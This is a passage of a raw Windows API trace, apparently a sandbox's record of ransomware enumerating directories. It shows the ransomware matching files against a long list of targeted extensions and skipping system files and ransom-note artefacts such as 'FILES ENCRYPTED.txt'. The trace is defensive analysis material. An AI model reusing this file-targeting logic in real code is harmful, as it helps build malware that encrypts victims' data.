[0109.788] lstrcmpiW (lpString1=".css", lpString2=".log") returned -1 [0109.788] lstrlenW (lpString=".csv") returned 4 [0109.789] lstrcmpiW (lpString1=".csv", lpString2=".log") returned -1 [0109.789] lstrlenW (lpString=".cub") returned 4 [0109.789] lstrcmpiW (lpString1=".cub", lpString2=".log") returned -1 [0109.789] lstrlenW (lpString=".dae") returned 4 [0109.789] lstrcmpiW (lpString1=".dae", lpString2=".log") returned -1 [0109.789] lstrlenW (lpString=".dat") returned 4 [0109.789] lstrcmpiW (lpString1=".dat", lpString2=".log") returned -1 [0109.789] lstrlenW (lpString=".db") returned 3 [0109.789] lstrcmpiW (lpString1=".db", lpString2="log") returned -1 [0109.789] lstrlenW (lpString=".dbf") returned 4 [0109.789] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0109.789] lstrlenW (lpString=".dbx") returned 4 [0109.789] lstrcmpiW (lpString1=".dbx", lpString2=".log") returned -1 [0109.789] lstrlenW (lpString=".dc3") returned 4 [0109.789] lstrcmpiW (lpString1=".dc3", lpString2=".log") returned -1 [0109.789] lstrlenW (lpString=".dcm") returned 4 [0109.789] lstrcmpiW (lpString1=".dcm", lpString2=".log") returned -1 [0109.789] lstrlenW (lpString=".dcr") returned 4 [0109.789] lstrcmpiW (lpString1=".dcr", lpString2=".log") returned -1 [0109.789] lstrlenW (lpString=".der") returned 4 [0109.789] lstrcmpiW (lpString1=".der", lpString2=".log") returned -1 [0109.789] lstrlenW (lpString=".dib") returned 4 [0109.789] lstrcmpiW (lpString1=".dib", lpString2=".log") returned -1 [0109.789] lstrlenW (lpString=".dic") returned 4 [0109.789] lstrcmpiW (lpString1=".dic", lpString2=".log") returned -1 [0109.789] lstrlenW (lpString=".dif") returned 4 [0109.789] lstrcmpiW (lpString1=".dif", lpString2=".log") returned -1 [0109.789] lstrlenW (lpString=".divx") returned 5 [0109.789] lstrcmpiW (lpString1=".divx", lpString2="6.log") returned -1 [0109.789] lstrlenW (lpString=".djvu") returned 5 [0109.789] lstrcmpiW (lpString1=".djvu", lpString2="6.log") returned -1 [0109.789] lstrlenW (lpString=".dng") returned 4 [0109.789] lstrcmpiW (lpString1=".dng", lpString2=".log") returned -1 [0109.789] lstrlenW (lpString=".doc") returned 4 [0109.789] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0109.789] lstrlenW (lpString=".docm") returned 5 [0109.790] lstrcmpiW (lpString1=".docm", lpString2="6.log") returned -1 [0109.790] lstrlenW (lpString=".docx") returned 5 [0109.790] lstrcmpiW (lpString1=".docx", lpString2="6.log") returned -1 [0109.790] lstrlenW (lpString=".dot") returned 4 [0109.790] lstrcmpiW (lpString1=".dot", lpString2=".log") returned -1 [0109.790] lstrlenW (lpString=".dotm") returned 5 [0109.790] lstrcmpiW (lpString1=".dotm", lpString2="6.log") returned -1 [0109.790] lstrlenW (lpString=".dotx") returned 5 [0109.790] lstrcmpiW (lpString1=".dotx", lpString2="6.log") returned -1 [0109.790] lstrlenW (lpString=".dpx") returned 4 [0109.790] lstrcmpiW (lpString1=".dpx", lpString2=".log") returned -1 [0109.790] lstrlenW (lpString=".dqy") returned 4 [0109.790] lstrcmpiW (lpString1=".dqy", lpString2=".log") returned -1 [0109.790] lstrlenW (lpString=".dsn") returned 4 [0109.790] lstrcmpiW (lpString1=".dsn", lpString2=".log") returned -1 [0109.790] lstrlenW (lpString=".dt") returned 3 [0109.790] lstrcmpiW (lpString1=".dt", lpString2="log") returned -1 [0109.790] lstrlenW (lpString=".dtd") returned 4 [0109.790] lstrcmpiW (lpString1=".dtd", lpString2=".log") returned -1 [0109.790] lstrlenW (lpString=".dwg") returned 4 [0109.790] lstrcmpiW (lpString1=".dwg", lpString2=".log") returned -1 [0109.790] lstrlenW (lpString=".dwt") returned 4 [0109.790] lstrcmpiW (lpString1=".dwt", lpString2=".log") returned -1 [0109.790] lstrlenW (lpString=".dx") returned 3 [0109.790] lstrcmpiW (lpString1=".dx", lpString2="log") returned -1 [0109.790] lstrlenW (lpString=".dxf") returned 4 [0109.790] lstrcmpiW (lpString1=".dxf", lpString2=".log") returned -1 [0109.790] lstrlenW (lpString=".edml") returned 5 [0109.790] lstrcmpiW (lpString1=".edml", lpString2="6.log") returned -1 [0109.790] lstrlenW (lpString=".efd") returned 4 [0109.790] lstrcmpiW (lpString1=".efd", lpString2=".log") returned -1 [0109.790] lstrlenW (lpString=".elf") returned 4 [0109.790] lstrcmpiW (lpString1=".elf", lpString2=".log") returned -1 [0109.790] lstrlenW (lpString=".emf") returned 4 [0109.790] lstrcmpiW (lpString1=".emf", lpString2=".log") returned -1 [0109.791] lstrlenW (lpString=".emz") returned 4 [0109.791] lstrcmpiW (lpString1=".emz", lpString2=".log") returned -1 [0109.791] lstrlenW (lpString=".epf") returned 4 [0109.791] lstrcmpiW (lpString1=".epf", lpString2=".log") returned -1 [0109.791] lstrlenW (lpString=".eps") returned 4 [0109.791] lstrcmpiW (lpString1=".eps", lpString2=".log") returned -1 [0109.791] lstrlenW (lpString=".epsf") returned 5 [0109.791] lstrcmpiW (lpString1=".epsf", lpString2="6.log") returned -1 [0109.791] lstrlenW (lpString=".epsp") returned 5 [0109.791] lstrcmpiW (lpString1=".epsp", lpString2="6.log") returned -1 [0109.791] lstrlenW (lpString=".erf") returned 4 [0109.791] lstrcmpiW (lpString1=".erf", lpString2=".log") returned -1 [0109.791] lstrlenW (lpString=".exr") returned 4 [0109.791] lstrcmpiW (lpString1=".exr", lpString2=".log") returned -1 [0109.791] lstrlenW (lpString=".f4v") returned 4 [0109.791] lstrcmpiW (lpString1=".f4v", lpString2=".log") returned -1 [0109.791] lstrlenW (lpString=".fido") returned 5 [0109.791] lstrcmpiW (lpString1=".fido", lpString2="6.log") returned -1 [0109.791] lstrlenW (lpString=".flm") returned 4 [0109.791] lstrcmpiW (lpString1=".flm", lpString2=".log") returned -1 [0109.791] lstrlenW (lpString=".flv") returned 4 [0109.791] lstrcmpiW (lpString1=".flv", lpString2=".log") returned -1 [0109.791] lstrlenW (lpString=".frm") returned 4 [0109.791] lstrcmpiW (lpString1=".frm", lpString2=".log") returned -1 [0109.791] lstrlenW (lpString=".fxg") returned 4 [0109.791] lstrcmpiW (lpString1=".fxg", lpString2=".log") returned -1 [0109.791] lstrlenW (lpString=".geo") returned 4 [0109.791] lstrcmpiW (lpString1=".geo", lpString2=".log") returned -1 [0109.791] lstrlenW (lpString=".gif") returned 4 [0109.791] lstrcmpiW (lpString1=".gif", lpString2=".log") returned -1 [0109.791] lstrlenW (lpString=".grs") returned 4 [0109.791] lstrcmpiW (lpString1=".grs", lpString2=".log") returned -1 [0109.791] lstrlenW (lpString=".gz") returned 3 [0109.791] lstrcmpiW (lpString1=".gz", lpString2="log") returned -1 [0109.791] lstrlenW (lpString=".h") returned 2 [0109.791] lstrcmpiW (lpString1=".h", lpString2="og") returned -1 [0109.792] lstrlenW (lpString=".hdr") returned 4 [0109.792] lstrcmpiW (lpString1=".hdr", lpString2=".log") returned -1 [0109.792] lstrlenW (lpString=".hpp") returned 4 [0109.792] lstrcmpiW (lpString1=".hpp", lpString2=".log") returned -1 [0109.792] lstrlenW (lpString=".hta") returned 4 [0109.792] lstrcmpiW (lpString1=".hta", lpString2=".log") returned -1 [0109.792] lstrlenW (lpString=".htc") returned 4 [0109.792] lstrcmpiW (lpString1=".htc", lpString2=".log") returned -1 [0109.792] lstrlenW (lpString=".htm") returned 4 [0109.792] lstrcmpiW (lpString1=".htm", lpString2=".log") returned -1 [0109.792] lstrlenW (lpString=".html") returned 5 [0109.792] lstrcmpiW (lpString1=".html", lpString2="6.log") returned -1 [0109.792] lstrlenW (lpString=".icb") returned 4 [0109.792] lstrcmpiW (lpString1=".icb", lpString2=".log") returned -1 [0109.792] lstrlenW (lpString=".ics") returned 4 [0109.792] lstrcmpiW (lpString1=".ics", lpString2=".log") returned -1 [0109.792] lstrlenW (lpString=".iff") returned 4 [0109.792] lstrcmpiW (lpString1=".iff", lpString2=".log") returned -1 [0109.792] lstrlenW (lpString=".inc") returned 4 [0109.792] lstrcmpiW (lpString1=".inc", lpString2=".log") returned -1 [0109.792] lstrlenW (lpString=".indd") returned 5 [0109.792] lstrcmpiW (lpString1=".indd", lpString2="6.log") returned -1 [0109.792] lstrlenW (lpString=".ini") returned 4 [0109.792] lstrcmpiW (lpString1=".ini", lpString2=".log") returned -1 [0109.792] lstrlenW (lpString=".iqy") returned 4 [0109.792] lstrcmpiW (lpString1=".iqy", lpString2=".log") returned -1 [0109.792] lstrlenW (lpString=".j2c") returned 4 [0109.792] lstrcmpiW (lpString1=".j2c", lpString2=".log") returned -1 [0109.792] lstrlenW (lpString=".j2k") returned 4 [0109.792] lstrcmpiW (lpString1=".j2k", lpString2=".log") returned -1 [0109.792] lstrlenW (lpString=".java") returned 5 [0109.792] lstrcmpiW (lpString1=".java", lpString2="6.log") returned -1 [0109.792] lstrlenW (lpString=".jp2") returned 4 [0109.792] lstrcmpiW (lpString1=".jp2", lpString2=".log") returned -1 [0109.792] lstrlenW (lpString=".jpc") returned 4 [0109.793] lstrcmpiW (lpString1=".jpc", lpString2=".log") returned -1 [0109.793] lstrlenW (lpString=".jpe") returned 4 [0109.793] lstrcmpiW (lpString1=".jpe", lpString2=".log") returned -1 [0109.793] lstrlenW (lpString=".jpeg") returned 5 [0109.793] lstrcmpiW (lpString1=".jpeg", lpString2="6.log") returned -1 [0109.793] lstrlenW (lpString=".jpf") returned 4 [0109.793] lstrcmpiW (lpString1=".jpf", lpString2=".log") returned -1 [0109.793] lstrlenW (lpString=".jpg") returned 4 [0109.793] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0109.793] lstrlenW (lpString=".jpx") returned 4 [0109.793] lstrcmpiW (lpString1=".jpx", lpString2=".log") returned -1 [0109.793] lstrlenW (lpString=".js") returned 3 [0109.793] lstrcmpiW (lpString1=".js", lpString2="log") returned -1 [0109.793] lstrlenW (lpString=".jsf") returned 4 [0109.793] lstrcmpiW (lpString1=".jsf", lpString2=".log") returned -1 [0109.793] lstrlenW (lpString=".json") returned 5 [0109.793] lstrcmpiW (lpString1=".json", lpString2="6.log") returned -1 [0109.793] lstrlenW (lpString=".jsp") returned 4 [0109.793] lstrcmpiW (lpString1=".jsp", lpString2=".log") returned -1 [0109.793] lstrlenW (lpString=".kdc") returned 4 [0109.793] lstrcmpiW (lpString1=".kdc", lpString2=".log") returned -1 [0109.793] lstrlenW (lpString=".kmz") returned 4 [0109.793] lstrcmpiW (lpString1=".kmz", lpString2=".log") returned -1 [0109.793] lstrlenW (lpString=".kwm") returned 4 [0109.793] lstrcmpiW (lpString1=".kwm", lpString2=".log") returned -1 [0109.793] lstrlenW (lpString=".lasso") returned 6 [0109.793] lstrcmpiW (lpString1=".lasso", lpString2="66.log") returned -1 [0109.793] lstrlenW (lpString=".lbi") returned 4 [0109.793] lstrcmpiW (lpString1=".lbi", lpString2=".log") returned -1 [0109.793] lstrlenW (lpString=".lgf") returned 4 [0109.793] lstrcmpiW (lpString1=".lgf", lpString2=".log") returned -1 [0109.793] lstrlenW (lpString=".lgp") returned 4 [0109.793] lstrcmpiW (lpString1=".lgp", lpString2=".log") returned -1 [0109.793] lstrlenW (lpString=".log") returned 4 [0109.793] lstrcmpiW (lpString1=".log", lpString2=".log") returned 0 [0109.793] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37 [0109.793] lstrlenW (lpString=".gate") returned 5 [0109.794] lstrcmpiW (lpString1=".gate", lpString2="6.log") returned -1 [0109.794] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37 [0109.794] lstrcmpiW (lpString1="boot.ini", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned -1 [0109.794] lstrcmpiW (lpString1="bootfont.bin", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned -1 [0109.794] lstrcmpiW (lpString1="ntldr", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1 [0109.794] lstrcmpiW (lpString1="ntdetect.com", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1 [0109.794] lstrcmpiW (lpString1="io.sys", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1 [0109.794] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1 [0109.794] lstrcmpiW (lpString1="Info.hta", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1 [0109.794] lstrcmpiW (lpString1="1csrss.exe", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned -1 [0109.794] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0109.794] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0109.794] lstrlenW (lpString="oobe_2017_09_07_03_08_57_737.log") returned 32 [0109.794] lstrlenW (lpString=".1cd") returned 4 [0109.794] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0109.794] lstrlenW (lpString=".3ds") returned 4 [0109.794] lstrcmpiW (lpString1=".3ds", lpString2=".log") returned -1 [0109.794] lstrlenW (lpString=".3fr") returned 4 [0109.794] lstrcmpiW (lpString1=".3fr", lpString2=".log") returned -1 [0109.794] lstrlenW (lpString=".3g2") returned 4 [0109.794] lstrcmpiW (lpString1=".3g2", lpString2=".log") returned -1 [0109.794] lstrlenW (lpString=".3gp") returned 4 [0109.794] lstrcmpiW (lpString1=".3gp", lpString2=".log") returned -1 [0109.794] lstrlenW (lpString=".7z") returned 3 [0109.794] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0109.794] lstrlenW (lpString=".accda") returned 6 [0109.794] lstrcmpiW (lpString1=".accda", lpString2="37.log") returned -1 [0109.794] lstrlenW (lpString=".accdb") returned 6 [0109.794] lstrcmpiW (lpString1=".accdb", lpString2="37.log") returned -1 [0109.794] lstrlenW (lpString=".accdc") returned 6 [0109.795] lstrcmpiW (lpString1=".accdc", lpString2="37.log") returned -1 [0109.795] lstrlenW (lpString=".accde") returned 6 [0109.795] lstrcmpiW (lpString1=".accde", lpString2="37.log") returned -1 [0109.795] lstrlenW (lpString=".accdt") returned 6 [0109.795] lstrcmpiW (lpString1=".accdt", lpString2="37.log") returned -1 [0109.795] lstrlenW (lpString=".accdw") returned 6 [0109.795] lstrcmpiW (lpString1=".accdw", lpString2="37.log") returned -1 [0109.795] lstrlenW (lpString=".adb") returned 4 [0109.795] lstrcmpiW (lpString1=".adb", lpString2=".log") returned -1 [0109.795] lstrlenW (lpString=".adp") returned 4 [0109.795] lstrcmpiW (lpString1=".adp", lpString2=".log") returned -1 [0109.795] lstrlenW (lpString=".ai") returned 3 [0109.795] lstrcmpiW (lpString1=".ai", lpString2="log") returned -1 [0109.795] lstrlenW (lpString=".ai3") returned 4 [0109.795] lstrcmpiW (lpString1=".ai3", lpString2=".log") returned -1 [0109.795] lstrlenW (lpString=".ai4") returned 4 [0109.795] lstrcmpiW (lpString1=".ai4", lpString2=".log") returned -1 [0109.795] lstrlenW (lpString=".ai5") returned 4 [0109.795] lstrcmpiW (lpString1=".ai5", lpString2=".log") returned -1 [0109.795] lstrlenW (lpString=".ai6") returned 4 [0109.795] lstrcmpiW (lpString1=".ai6", lpString2=".log") returned -1 [0109.795] lstrlenW (lpString=".ai7") returned 4 [0109.795] lstrcmpiW (lpString1=".ai7", lpString2=".log") returned -1 [0109.795] lstrlenW (lpString=".ai8") returned 4 [0109.795] lstrcmpiW (lpString1=".ai8", lpString2=".log") returned -1 [0109.795] lstrlenW (lpString=".anim") returned 5 [0109.795] lstrcmpiW (lpString1=".anim", lpString2="7.log") returned -1 [0109.795] lstrlenW (lpString=".arw") returned 4 [0109.795] lstrcmpiW (lpString1=".arw", lpString2=".log") returned -1 [0109.795] lstrlenW (lpString=".as") returned 3 [0109.795] lstrcmpiW (lpString1=".as", lpString2="log") returned -1 [0109.795] lstrlenW (lpString=".asa") returned 4 [0109.796] lstrcmpiW (lpString1=".asa", lpString2=".log") returned -1 [0109.796] lstrlenW (lpString=".asc") returned 4 [0109.796] lstrcmpiW (lpString1=".asc", lpString2=".log") returned -1 [0109.796] lstrlenW (lpString=".ascx") returned 5 [0109.796] lstrcmpiW (lpString1=".ascx", lpString2="7.log") returned -1 [0109.796] lstrlenW (lpString=".asm") returned 4 [0109.796] lstrcmpiW (lpString1=".asm", lpString2=".log") returned -1 [0109.796] lstrlenW (lpString=".asmx") returned 5 [0109.796] lstrcmpiW (lpString1=".asmx", lpString2="7.log") returned -1 [0109.796] lstrlenW (lpString=".asp") returned 4 [0109.796] lstrcmpiW (lpString1=".asp", lpString2=".log") returned -1 [0109.796] lstrlenW (lpString=".aspx") returned 5 [0109.796] lstrcmpiW (lpString1=".aspx", lpString2="7.log") returned -1 [0109.796] lstrlenW (lpString=".asr") returned 4 [0109.796] lstrcmpiW (lpString1=".asr", lpString2=".log") returned -1 [0109.796] lstrlenW (lpString=".asx") returned 4 [0109.796] lstrcmpiW (lpString1=".asx", lpString2=".log") returned -1 [0109.796] lstrlenW (lpString=".avi") returned 4 [0109.796] lstrcmpiW (lpString1=".avi", lpString2=".log") returned -1 [0109.796] lstrlenW (lpString=".avs") returned 4 [0109.796] lstrcmpiW (lpString1=".avs", lpString2=".log") returned -1 [0109.796] lstrlenW (lpString=".backup") returned 7 [0109.796] lstrcmpiW (lpString1=".backup", lpString2="737.log") returned -1 [0109.796] lstrlenW (lpString=".bak") returned 4 [0109.796] lstrcmpiW (lpString1=".bak", lpString2=".log") returned -1 [0109.796] lstrlenW (lpString=".bay") returned 4 [0109.796] lstrcmpiW (lpString1=".bay", lpString2=".log") returned -1 [0109.796] lstrlenW (lpString=".bd") returned 3 [0109.796] lstrcmpiW (lpString1=".bd", lpString2="log") returned -1 [0109.796] lstrlenW (lpString=".bin") returned 4 [0109.796] lstrcmpiW (lpString1=".bin", lpString2=".log") returned -1 [0109.797] lstrlenW (lpString=".bmp") returned 4 [0109.797] lstrcmpiW (lpString1=".bmp", lpString2=".log") returned -1 [0109.797] lstrlenW (lpString=".bz2") returned 4 [0109.797] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0109.797] lstrlenW (lpString=".c") returned 2 [0109.797] lstrcmpiW (lpString1=".c", lpString2="og") returned -1 [0109.797] lstrlenW (lpString=".cdr") returned 4 [0109.797] lstrcmpiW (lpString1=".cdr", lpString2=".log") returned -1 [0109.797] lstrlenW (lpString=".cer") returned 4 [0109.797] lstrcmpiW (lpString1=".cer", lpString2=".log") returned -1 [0109.797] lstrlenW (lpString=".cf") returned 3 [0109.797] lstrcmpiW (lpString1=".cf", lpString2="log") returned -1 [0109.797] lstrlenW (lpString=".cfc") returned 4 [0109.797] lstrcmpiW (lpString1=".cfc", lpString2=".log") returned -1 [0109.797] lstrlenW (lpString=".cfm") returned 4 [0109.797] lstrcmpiW (lpString1=".cfm", lpString2=".log") returned -1 [0109.797] lstrlenW (lpString=".cfml") returned 5 [0109.797] lstrcmpiW (lpString1=".cfml", lpString2="7.log") returned -1 [0109.797] lstrlenW (lpString=".cfu") returned 4 [0109.797] lstrcmpiW (lpString1=".cfu", lpString2=".log") returned -1 [0109.797] lstrlenW (lpString=".chm") returned 4 [0109.797] lstrcmpiW (lpString1=".chm", lpString2=".log") returned -1 [0109.797] lstrlenW (lpString=".cin") returned 4 [0109.797] lstrcmpiW (lpString1=".cin", lpString2=".log") returned -1 [0109.797] lstrlenW (lpString=".class") returned 6 [0109.797] lstrcmpiW (lpString1=".class", lpString2="37.log") returned -1 [0109.797] lstrlenW (lpString=".clx") returned 4 [0109.797] lstrcmpiW (lpString1=".clx", lpString2=".log") returned -1 [0109.798] lstrlenW (lpString=".config") returned 7 [0109.798] lstrcmpiW (lpString1=".config", lpString2="737.log") returned -1 [0109.798] lstrlenW (lpString=".cpp") returned 4 [0109.798] lstrcmpiW (lpString1=".cpp", lpString2=".log") returned -1 [0109.798] lstrlenW (lpString=".cr2") returned 4 [0109.798] lstrcmpiW (lpString1=".cr2", lpString2=".log") returned -1 [0109.798] lstrlenW (lpString=".crt") returned 4 [0109.798] lstrcmpiW (lpString1=".crt", lpString2=".log") returned -1 [0109.798] lstrlenW (lpString=".crw") returned 4 [0109.798] lstrcmpiW (lpString1=".crw", lpString2=".log") returned -1 [0109.798] lstrlenW (lpString=".cs") returned 3 [0109.798] lstrcmpiW (lpString1=".cs", lpString2="log") returned -1 [0109.798] lstrlenW (lpString=".css") returned 4 [0109.798] lstrcmpiW (lpString1=".css", lpString2=".log") returned -1 [0109.798] lstrlenW (lpString=".csv") returned 4 [0109.798] lstrcmpiW (lpString1=".csv", lpString2=".log") returned -1 [0109.798] lstrlenW (lpString=".cub") returned 4 [0109.798] lstrcmpiW (lpString1=".cub", lpString2=".log") returned -1 [0109.798] lstrlenW (lpString=".dae") returned 4 [0109.798] lstrcmpiW (lpString1=".dae", lpString2=".log") returned -1 [0109.798] lstrlenW (lpString=".dat") returned 4 [0109.798] lstrcmpiW (lpString1=".dat", lpString2=".log") returned -1 [0109.798] lstrlenW (lpString=".db") returned 3 [0109.798] lstrcmpiW (lpString1=".db", lpString2="log") returned -1 [0109.798] lstrlenW (lpString=".dbf") returned 4 [0109.798] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0109.799] lstrlenW (lpString=".dbx") returned 4 [0109.799] lstrcmpiW (lpString1=".dbx", lpString2=".log") returned -1 [0109.799] lstrlenW (lpString=".dc3") returned 4 [0109.799] lstrcmpiW (lpString1=".dc3", lpString2=".log") returned -1 [0109.799] lstrlenW (lpString=".dcm") returned 4 [0109.799] lstrcmpiW (lpString1=".dcm", lpString2=".log") returned -1 [0109.799] lstrlenW (lpString=".dcr") returned 4 [0109.799] lstrcmpiW (lpString1=".dcr", lpString2=".log") returned -1 [0109.799] lstrlenW (lpString=".der") returned 4 [0109.799] lstrcmpiW (lpString1=".der", lpString2=".log") returned -1 [0109.799] lstrlenW (lpString=".dib") returned 4 [0109.799] lstrcmpiW (lpString1=".dib", lpString2=".log") returned -1 [0109.799] lstrlenW (lpString=".dic") returned 4 [0109.799] lstrcmpiW (lpString1=".dic", lpString2=".log") returned -1 [0109.799] lstrlenW (lpString=".dif") returned 4 [0109.799] lstrcmpiW (lpString1=".dif", lpString2=".log") returned -1 [0109.799] lstrlenW (lpString=".divx") returned 5 [0109.799] lstrcmpiW (lpString1=".divx", lpString2="7.log") returned -1 [0109.799] lstrlenW (lpString=".djvu") returned 5 [0109.799] lstrcmpiW (lpString1=".djvu", lpString2="7.log") returned -1 [0109.799] lstrlenW (lpString=".dng") returned 4 [0109.799] lstrcmpiW (lpString1=".dng", lpString2=".log") returned -1 [0109.799] lstrlenW (lpString=".doc") returned 4 [0109.799] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0109.799] lstrlenW (lpString=".docm") returned 5 [0109.799] lstrcmpiW (lpString1=".docm", lpString2="7.log") returned -1 [0109.799] lstrlenW (lpString=".docx") returned 5 [0109.799] lstrcmpiW (lpString1=".docx", lpString2="7.log") returned -1 [0109.800] lstrlenW (lpString=".dot") returned 4 [0109.800] lstrcmpiW (lpString1=".dot", lpString2=".log") returned -1 [0109.800] lstrlenW (lpString=".dotm") returned 5 [0109.800] lstrcmpiW (lpString1=".dotm", lpString2="7.log") returned -1 [0109.800] lstrlenW (lpString=".dotx") returned 5 [0109.800] lstrcmpiW (lpString1=".dotx", lpString2="7.log") returned -1 [0109.800] lstrlenW (lpString=".dpx") returned 4 [0109.800] lstrcmpiW (lpString1=".dpx", lpString2=".log") returned -1 [0109.800] lstrlenW (lpString=".dqy") returned 4 [0109.800] lstrcmpiW (lpString1=".dqy", lpString2=".log") returned -1 [0109.800] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0109.800] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0109.800] FindClose (in: hFindFile=0x4250cc0 | out: hFindFile=0x4250cc0) returned 1 [0109.816] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4261480 | out: hHeap=0x5b0000) returned 1 [0109.816] FindNextFileW (in: hFindFile=0x4250880, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0109.816] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x4261480 [0109.816] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x4250ec0 [0110.162] FindNextFileW (in: hFindFile=0x4250ec0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.162] FindNextFileW (in: hFindFile=0x4250ec0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.163] FindNextFileW (in: hFindFile=0x4250ec0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.163] FindNextFileW (in: hFindFile=0x4250ec0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.163] FindNextFileW (in: hFindFile=0x4250ec0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.163] FindNextFileW (in: hFindFile=0x4250ec0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.163] FindNextFileW (in: hFindFile=0x4250ec0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0110.163] FindClose (in: hFindFile=0x4250ec0 | out: hFindFile=0x4250ec0) returned 1 [0110.250] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4261480 | out: hHeap=0x5b0000) returned 1 [0110.250] FindNextFileW (in: hFindFile=0x4250880, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 0 [0110.250] FindClose (in: hFindFile=0x4250880 | out: hFindFile=0x4250880) returned 1 [0110.250] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4251058 | out: hHeap=0x5b0000) returned 1 [0110.252] FindNextFileW (in: hFindFile=0x4250d80, lpFindFileData=0x38afcf8 | out: lpFindFileData=0x38afcf8) returned 1 [0110.252] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x4251058 [0110.252] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 0x4250e40 [0110.253] FindNextFileW (in: hFindFile=0x4250e40, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.253] FindNextFileW (in: hFindFile=0x4250e40, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.253] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x4261480 [0110.253] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x4250dc0 [0110.254] FindNextFileW (in: hFindFile=0x4250dc0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.254] FindNextFileW (in: hFindFile=0x4250dc0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.254] FindNextFileW (in: hFindFile=0x4250dc0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0110.254] FindClose (in: hFindFile=0x4250dc0 | out: hFindFile=0x4250dc0) returned 1 [0110.254] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4261480 | out: hHeap=0x5b0000) returned 1 [0110.254] FindNextFileW (in: hFindFile=0x4250e40, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.254] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x4261480 [0110.254] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x4250b80 [0110.255] FindNextFileW (in: hFindFile=0x4250b80, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.255] FindNextFileW (in: hFindFile=0x4250b80, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.255] FindNextFileW (in: hFindFile=0x4250b80, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0110.255] FindClose (in: hFindFile=0x4250b80 | out: hFindFile=0x4250b80) returned 1 [0110.255] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4261480 | out: hHeap=0x5b0000) returned 1 [0110.255] FindNextFileW (in: hFindFile=0x4250e40, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 0 [0110.255] FindClose (in: hFindFile=0x4250e40 | out: hFindFile=0x4250e40) returned 1 [0110.255] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4251058 | out: hHeap=0x5b0000) returned 1 [0110.256] FindNextFileW (in: hFindFile=0x4250d80, lpFindFileData=0x38afcf8 | out: lpFindFileData=0x38afcf8) returned 1 [0110.256] FindNextFileW (in: hFindFile=0x4250d80, lpFindFileData=0x38afcf8 | out: lpFindFileData=0x38afcf8) returned 1 [0110.256] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x4251058 [0110.256] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*", 